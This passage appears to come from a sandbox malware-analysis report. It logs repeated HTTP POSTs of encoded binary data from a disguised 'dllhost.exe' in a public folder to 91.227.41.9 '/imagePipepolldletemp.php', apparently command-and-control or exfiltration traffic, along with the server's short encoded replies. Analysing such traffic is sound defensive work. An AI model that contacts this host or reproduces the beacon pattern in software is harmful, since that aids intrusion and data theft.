                                                                                                                                      31192.168.2.44977491.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:58.324553967 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1836
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:58.671376944 CET1836OUTData Raw: 59 53 46 50 5d 47 55 5a 54 57 5b 51 55 59 59 55 50 5e 5a 5e 56 50 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YSFP]GUZTW[QUYYUP^Z^VPW_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'^$!+9_ (*%"'$(:#!97P6 ,U<*$!!3(?&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:27:59.591886044 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:59.825309992 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:59 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 0e 32 25 2f 58 3d 0d 3a 0a 29 2f 24 01 2e 59 2f 05 2a 20 26 07 31 00 27 52 32 28 0f 0e 3c 07 2f 17 33 31 26 09 24 24 23 13 3e 28 2f 58 07 1c 27 5b 3f 05 23 13 26 33 3d 05 2a 57 27 5a 27 2d 3b 03 26 3e 2b 00 27 0a 34 11 3c 30 3e 0d 25 16 35 50 28 3b 02 5e 3a 37 0d 0f 22 1e 23 53 08 11 25 50 27 57 27 00 26 11 05 07 36 30 22 54 25 2b 33 57 2a 02 2f 01 28 30 2d 13 2a 31 0c 11 30 22 3b 0b 24 2f 0e 16 26 20 36 14 26 10 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :2%/X=:)/$.Y/* &1'R2(</31&$$#>(/X'[?#&3=*W'Z'-;&>+'4<0>%5P(;^:7"#S%P'W'&60"T%+3W*/(0-*10";$/& 6&&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      32192.168.2.44977591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:58.444175005 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:58.796325922 CET2536OUTData Raw: 59 52 43 56 58 47 55 58 54 57 5b 51 55 5f 59 5b 50 59 5a 58 56 55 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YRCVXGUXTW[QU_Y[PYZXVUW_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'0*+9;7%0?1\$4?<[79<5<W?0^6!8X*?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:59.794362068 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:00.126099110 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:59 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      33192.168.2.44978191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:00.373378992 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:28:00.718216896 CET2536OUTData Raw: 59 52 43 56 5d 40 55 52 54 57 5b 51 55 5e 59 5d 50 52 5a 5e 56 50 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YRCV]@URTW[QU^Y]PRZ^VPW]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$%+ %'+5>0#T)9<!*Q60W?_,5?<?&\"'Z,0
                                                                                                                                      Dec 9, 2024 00:28:01.685338974 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:01.917330027 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:01 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      34192.168.2.44978891.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:02.164783955 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:02.518383980 CET2536OUTData Raw: 59 5f 43 52 58 40 55 5d 54 57 5b 51 55 5c 59 54 50 58 5a 5e 56 57 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y_CRX@U]TW[QU\YTPXZ^VWW^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'X'1^([7&;_<"07<947:<!'+063+/&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:28:03.734600067 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:03.973225117 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:03 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      35192.168.2.44979491.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:04.208441019 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:04.561964989 CET2536OUTData Raw: 5c 5c 43 52 58 45 55 52 54 57 5b 51 55 50 59 5f 50 5b 5a 58 56 56 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\CRXEURTW[QUPY_P[ZXVVWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$'[:(?7%3(!_0Y'Q+: ]#$! $+"?&\"'Z,


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      36192.168.2.44979591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:04.949276924 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:05.296349049 CET1860OUTData Raw: 5c 5c 46 53 58 40 55 5a 54 57 5b 51 55 59 59 5a 50 5c 5a 51 56 54 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \\FSX@UZTW[QUYYZP\ZQVTWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'$.!\<9X7&#^<%',7V(9X#)(6'?'"1(Y+&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:28:06.327322960 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:06.562016964 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:06 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 0c 26 26 33 58 3d 30 26 08 3c 02 23 5d 2d 2f 3f 03 28 30 2a 02 24 3d 24 0a 26 01 2d 0c 3c 58 2b 1a 30 21 21 52 27 19 2b 1c 29 28 2f 58 07 1c 24 02 3c 2b 0e 04 26 20 3d 01 3e 32 2f 11 32 3e 20 5e 27 07 33 05 26 30 34 13 2b 0d 29 56 25 38 21 19 3c 05 30 17 2e 24 3b 0d 35 0e 23 53 08 11 25 19 26 31 0a 10 25 2f 3b 01 22 1d 07 0f 30 3b 3b 54 29 2c 23 06 3c 0a 39 5a 2a 22 3e 11 25 22 0a 57 25 3c 38 5e 30 0a 35 0a 26 3a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :&&3X=0&<#]-/?(0*$=$&-<X+0!!R'+)(/X$<+& =>2/2> ^'3&04+)V%8!<0.$;5#S%&1%/;"0;;T),#<9Z*">%"W%<8^05&:&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      37192.168.2.44979691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:05.069119930 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:05.421356916 CET2536OUTData Raw: 59 52 46 51 58 42 50 59 54 57 5b 51 55 5d 59 5b 50 5f 5a 5e 56 50 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YRFQXBPYTW[QU]Y[P_Z^VPW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'^'-+<76$(%.0?4(*; \7P!0Q+*35#(?&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:28:06.420749903 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:06.653384924 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:06 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      38192.168.2.44980291.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:06.906385899 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:28:07.265213013 CET2536OUTData Raw: 5c 5b 43 50 58 44 50 58 54 57 5b 51 55 50 59 58 50 5c 5a 5b 56 5d 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \[CPXDPXTW[QUPYXP\Z[V]W[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'_$%^+_,40*%>'<<<*(]4*#3<P<$^!"$X+?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:08.197557926 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:08.433348894 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:07 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      39192.168.2.44980891.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:08.678859949 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:09.030721903 CET2536OUTData Raw: 59 5e 43 56 5d 43 50 58 54 57 5b 51 55 5e 59 54 50 52 5a 51 56 5c 57 59 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y^CV]CPXTW[QU^YTPRZQV\WYX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_''>.<)?75'+5:&, <9[ 'V"0/+)!*?&\"'Z,0
                                                                                                                                      Dec 9, 2024 00:28:09.976177931 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:10.209222078 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:09 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      40192.168.2.44981491.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:10.448299885 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:10.796397924 CET2536OUTData Raw: 59 58 46 56 58 44 50 5c 54 57 5b 51 55 5b 59 5a 50 53 5a 5a 56 50 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YXFVXDP\TW[QU[YZPSZZVPW^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$-&(9#;?&&0?V<9[#*#T"0))#6"#(&\"'Z,$


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      41192.168.2.44981591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:11.698103905 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:12.046334982 CET1860OUTData Raw: 59 52 43 57 5d 43 55 5c 54 57 5b 51 55 50 59 5f 50 5e 5a 5d 56 5c 57 59 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YRCW]CU\TW[QUPY_P^Z]V\WYX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3=<["%'^<C%3/+0[7," $T<)+!0[*?&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:13.000525951 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:13.233383894 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:12 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 1f 31 26 2b 12 3d 33 2a 08 2b 3c 38 05 2c 2f 38 5c 28 0e 2e 00 24 2d 34 0f 31 3b 35 0e 3e 3d 34 01 27 1c 2a 0a 27 37 27 1e 3d 38 2f 58 07 1c 27 1f 28 15 27 13 31 0d 32 1b 29 0f 33 11 32 2d 16 5d 26 2d 24 5b 27 1d 2c 5e 3c 0d 2d 56 26 3b 36 0d 28 15 28 14 3a 24 3c 54 21 34 23 53 08 11 25 1b 30 0f 34 5c 32 2c 20 11 21 30 26 54 33 05 09 54 2a 02 3c 5f 2b 33 0b 5b 3c 31 22 1f 30 21 3f 0a 24 11 38 59 33 0d 29 0f 31 00 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 91&+=3*+<8,/8\(.$-41;5>=4'*'7'=8/X'('12)32-]&-$[',^<-V&;6((:$<T!4#S%04\2, !0&T3T*<_+3[<1"0!?$8Y3)1&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      42192.168.2.44981691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:11.817965031 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:12.171358109 CET2536OUTData Raw: 59 53 43 53 5d 44 50 5e 54 57 5b 51 55 51 59 5d 50 5b 5a 51 56 51 57 52 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YSCS]DP^TW[QUQY]P[ZQVQWRX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$(;#5^()\&<;W+;#'5 V+5(&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:13.115823984 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:13.349203110 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:12 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      43192.168.2.44982291.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:13.583808899 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:28:13.937064886 CET2536OUTData Raw: 5c 59 43 5d 5d 47 55 5e 54 57 5b 51 55 51 59 54 50 58 5a 58 56 50 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
